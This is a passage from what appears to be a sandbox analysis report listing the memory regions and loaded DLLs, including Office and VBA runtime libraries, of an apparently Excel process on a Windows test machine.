0x7fef66d0000 end_va = 0x7fef66d3fff entry_point = 0x7fef66d0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 428 start_va = 0x7fef66e0000 end_va = 0x7fef66f6fff entry_point = 0x7fef66e0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vcruntime140.dll") Region: id = 429 start_va = 0x7fef6700000 end_va = 0x7fef6913fff entry_point = 0x7fef6700000 region_type = mapped_file name = "grooveex.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\grooveex.dll") Region: id = 430 start_va = 0x7fef6930000 end_va = 0x7fef6bb0fff entry_point = 0x7fef6930000 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6917.0607\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6917.0607\\amd64\\filesyncshell64.dll") Region: id = 431 start_va = 0x7fef6d10000 end_va = 0x7fef6ed9fff entry_point = 0x7fef6d10000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 432 start_va = 0x7fef6ef0000 end_va = 0x7fef6f44fff entry_point = 0x7fef6ef0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 433 start_va = 0x7fef6f50000 end_va = 0x7fef6f83fff entry_point = 0x7fef6f50000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 434 start_va = 0x7fef7180000 end_va = 0x7fef7197fff entry_point = 0x7fef7180000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 435 start_va = 0x7fef75c0000 end_va = 0x7fef75d3fff entry_point = 0x7fef75c0000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 436 start_va = 0x7fef78c0000 end_va = 0x7fef78cefff entry_point = 0x7fef78c0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 437 start_va = 0x7fef78d0000 end_va = 0x7fef78f6fff entry_point = 0x7fef78d0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 438 start_va = 0x7fef7900000 end_va = 0x7fef79e1fff entry_point = 0x7fef7900000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 439 start_va = 0x7fef7a50000 end_va = 0x7fef7ad5fff entry_point = 0x7fef7a50000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 440 start_va = 0x7fef7d30000 end_va = 0x7fef7d86fff entry_point = 0x7fef7d30000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 441 start_va = 0x7fef7f90000 end_va = 0x7fef8003fff entry_point = 0x7fef7f90000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 442 start_va = 0x7fef9240000 end_va = 0x7fef92e6fff entry_point = 0x7fef9240000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 443 start_va = 0x7fef92f0000 end_va = 0x7fef93d1fff entry_point = 0x7fef92f0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 444 start_va = 0x7fef93e0000 end_va = 0x7fef96f5fff entry_point = 0x7fef93e0000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 445 start_va = 0x7fefb330000 end_va = 0x7fefb33afff entry_point = 0x7fefb330000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 446 start_va = 0x7fefb3c0000 end_va = 0x7fefb3d4fff entry_point = 0x7fefb3c0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 447 start_va = 0x7fefb730000 end_va = 0x7fefb75bfff entry_point = 0x7fefb730000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 448 start_va = 0x7fefb830000 end_va = 0x7fefb844fff entry_point = 0x7fefb830000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 449 start_va = 0x7fefb850000 end_va = 0x7fefb85bfff entry_point = 0x7fefb850000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 450 start_va = 0x7fefb860000 end_va = 0x7fefb875fff entry_point = 0x7fefb860000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 451 start_va = 0x7fefb8a0000 end_va = 0x7fefb910fff entry_point = 0x7fefb8a0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 452 start_va = 0x7fefb990000 end_va = 0x7fefb9a0fff entry_point = 0x7fefb990000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 453 start_va = 0x7fefb9c0000 end_va = 0x7fefbae9fff entry_point = 0x7fefb9c0000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 454 start_va = 0x7fefbaf0000 end_va = 0x7fefbb24fff entry_point = 0x7fefbaf0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 455 start_va = 0x7fefbb30000 end_va = 0x7fefbb47fff entry_point = 0x7fefbb30000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 456 start_va = 0x7fefbbf0000 end_va = 0x7fefbc32fff entry_point = 0x7fefbbf0000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 457 start_va = 0x7fefbc40000 end_va = 0x7fefbd31fff entry_point = 0x7fefbc40000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 458 start_va = 0x7fefbd40000 end_va = 0x7fefbf54fff entry_point = 0x7fefbd40000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 459 start_va = 0x7fefbf60000 end_va = 0x7fefbfb5fff entry_point = 0x7fefbf60000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 460 start_va = 0x7fefbfc0000 end_va = 0x7fefc0ebfff entry_point = 0x7fefbfc0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 461 start_va = 0x7fefc140000 end_va = 0x7fefc333fff entry_point = 0x7fefc140000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 462 start_va = 0x7fefc630000 end_va = 0x7fefc65cfff entry_point = 0x7fefc630000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 463 start_va = 0x7fefc800000 end_va = 0x7fefc80bfff entry_point = 0x7fefc800000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 464 start_va = 0x7fefc9e0000 end_va = 0x7fefc9fdfff entry_point = 0x7fefc9e0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 465 start_va = 0x7fefcb70000 end_va = 0x7fefcbbbfff entry_point = 0x7fefcb70000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 466 start_va = 0x7fefcc30000 end_va = 0x7fefcc76fff entry_point = 0x7fefcc30000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 467 start_va = 0x7fefcf30000 end_va = 0x7fefcf46fff entry_point = 0x7fefcf30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 468 start_va = 0x7fefd0a0000 end_va = 0x7fefd0c1fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 469 start_va = 0x7fefd430000 end_va = 0x7fefd452fff entry_point = 0x7fefd430000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 470 start_va = 0x7fefd4d0000 end_va = 0x7fefd4dafff entry_point = 0x7fefd4d0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 471 start_va = 0x7fefd500000 end_va = 0x7fefd524fff entry_point = 0x7fefd500000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 472 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 473 start_va = 0x7fefd5e0000 end_va = 0x7fefd61cfff entry_point = 0x7fefd5e0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 474 start_va = 0x7fefd620000 end_va = 0x7fefd633fff entry_point = 0x7fefd620000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 475 start_va = 0x7fefd640000 end_va = 0x7fefd64efff entry_point = 0x7fefd640000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 476 start_va = 0x7fefd6e0000 end_va = 0x7fefd6eefff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 477 start_va = 0x7fefd6f0000 end_va = 0x7fefd729fff entry_point = 0x7fefd6f0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 478 start_va = 0x7fefd730000 end_va = 0x7fefd765fff entry_point = 0x7fefd730000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 479 start_va = 0x7fefd770000 end_va = 0x7fefd789fff entry_point = 0x7fefd770000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 480 start_va = 0x7fefd820000 end_va = 0x7fefd82ffff entry_point = 0x0 region_type = private name = "private_0x000007fefd820000" filename = "" Region: id = 481 start_va = 0x7fefd830000 end_va = 0x7fefd89afff entry_point = 0x7fefd830000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 482 start_va = 0x7fefd8a0000 end_va = 0x7fefda06fff entry_point = 0x7fefd8a0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 483 start_va = 0x7fefda30000 end_va = 0x7fefda4efff entry_point = 0x7fefda30000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 484 start_va = 0x7fefda50000 end_va = 0x7fefdb18fff entry_point = 0x7fefda50000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 485 start_va = 0x7fefdb20000 end_va = 0x7fefdc4cfff entry_point = 0x7fefdb20000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 486 start_va = 0x7fefdc50000 end_va = 0x7fefdceefff entry_point = 0x7fefdc50000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 487 start_va = 0x7fefdcf0000 end_va = 0x7fefdcf7fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 488 start_va = 0x7fefdd00000 end_va = 0x7fefdd66fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 489 start_va = 0x7fefdd70000 end_va = 0x7fefdd7dfff entry_point = 0x7fefdd70000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 490 start_va = 0x7fefdd80000 end_va = 0x7fefdfd8fff entry_point = 0x7fefdd80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 491 start_va = 0x7fefdfe0000 end_va = 0x7fefe109fff entry_point = 0x7fefdfe0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 492 start_va = 0x7fefe110000 end_va = 0x7fefe287fff entry_point = 0x7fefe110000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 493 start_va = 0x7fefe290000 end_va = 0x7fefe492fff entry_point = 0x7fefe290000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 494 start_va = 0x7fefe4a0000 end_va = 0x7feff227fff entry_point = 0x7fefe4a0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 495 start_va = 0x7feff230000 end_va = 0x7feff281fff entry_point = 0x7feff230000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 496 start_va = 0x7feff290000 end_va = 0x7feff2dcfff entry_point = 0x7feff290000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 497 start_va = 0x7feff360000 end_va = 0x7feff3d0fff entry_point = 0x7feff360000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 498 start_va = 0x7feff3e0000 end_va = 0x7feff4bafff entry_point = 0x7feff3e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 499 start_va = 0x7feff4c0000 end_va = 0x7feff4edfff entry_point = 0x7feff4c0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 500 start_va = 0x7feff4f0000 end_va = 0x7feff5c6fff entry_point = 0x7feff4f0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 501 start_va = 0x7feff5d0000 end_va = 0x7feff7a6fff entry_point = 0x7feff5d0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 502 start_va = 0x7feff7b0000 end_va = 0x7feff846fff entry_point = 0x7feff7b0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 503 start_va = 0x7feff850000 end_va = 0x7feff8e8fff entry_point = 0x7feff850000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 504 start_va = 0x7feff8f0000 end_va = 0x7feff9f8fff entry_point = 0x7feff8f0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 505 start_va = 0x7feffa10000 end_va = 0x7feffa10fff entry_point = 0x7feffa10000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 506 start_va = 0x7fffff60000 end_va = 0x7fffff61fff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 507 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 508 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 509 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 510 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 511 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 512 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 513 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 514 start_va = 0x7fffff70000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 515 start_va = 0x7fffff80000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 516 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 517 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 518 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 519 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 520 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 521 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 522 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 523 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 524 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 525 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 526 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 527 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 528 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 529 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 530 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 531 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 532 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 533 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 534 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 535 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 536 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 537 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 538 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 539 start_va = 0x3ee0000 end_va = 0x3ee0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 540 start_va = 0x91c0000 end_va = 0x923ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000091c0000" filename = "" Region: id = 541 start_va = 0x98a0000 end_va = 0x991ffff entry_point = 0x98a0000 region_type = mapped_file name = "~df0293984e98d9c54c.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DF0293984E98D9C54C.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~df0293984e98d9c54c.tmp") Region: id = 542 start_va = 0x9930000 end_va = 0x99affff entry_point = 0x0 region_type = private name = "private_0x0000000009930000" filename = "" Region: id = 543 start_va = 0xae60000 end_va = 0xaedffff entry_point = 0x0 region_type = private name = "private_0x000000000ae60000" filename = "" Region: id = 544 start_va = 0xb700000 end_va = 0xc6cffff entry_point = 0x0 region_type = private name = "private_0x000000000b700000" filename = "" Region: id = 545 start_va = 0xc6d0000 end_va = 0xd6cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c6d0000" filename = "" Region: id = 546 start_va = 0x7fee5920000 end_va = 0x7fee6024fff entry_point = 0x7fee5920000 region_type = mapped_file name = "gkexcel.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GKExcel.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkexcel.dll") Region: id = 549 start_va = 0x3ef0000 end_va = 0x3f00fff entry_point = 0x3ef0000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 550 start_va = 0x3f10000 end_va = 0x3f12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003f10000" filename = "" Region: id = 551 start_va = 0x5240000 end_va = 0x5240fff entry_point = 0x0 region_type = private name = "private_0x0000000005240000" filename = "" Region: id = 552 start_va = 0x99b0000 end_va = 0x9a6ffff entry_point = 0x99b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 553 start_va = 0xd6d0000 end_va = 0xd930fff entry_point = 0x0 region_type = private name = "private_0x000000000d6d0000" filename = "" Region: id = 554 start_va = 0x75240000 end_va = 0x75311fff entry_point = 0x75240000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcr100.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcr100.dll") Region: id = 555 start_va = 0x7fee5bf0000 end_va = 0x7fee6020fff entry_point = 0x7fee5bf0000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 556 start_va = 0x5ce0000 end_va = 0x5ceffff entry_point = 0x0 region_type = private name = "private_0x0000000005ce0000" filename = "" Region: id = 557 start_va = 0xa370000 end_va = 0xa46ffff entry_point = 0x0 region_type = private name = "private_0x000000000a370000" filename = "" Region: id = 558 start_va = 0x7fefd540000 end_va = 0x7fefd5d0fff entry_point = 0x7fefd540000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 559 start_va = 0xd940000 end_va = 0xdbc1fff entry_point = 0xd940000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 560 start_va = 0xd940000 end_va = 0xdbc1fff entry_point = 0xd940000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 561 start_va = 0x7fee5960000 end_va = 0x7fee5beefff entry_point = 0x7fee5960000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 562 start_va = 0x5220000 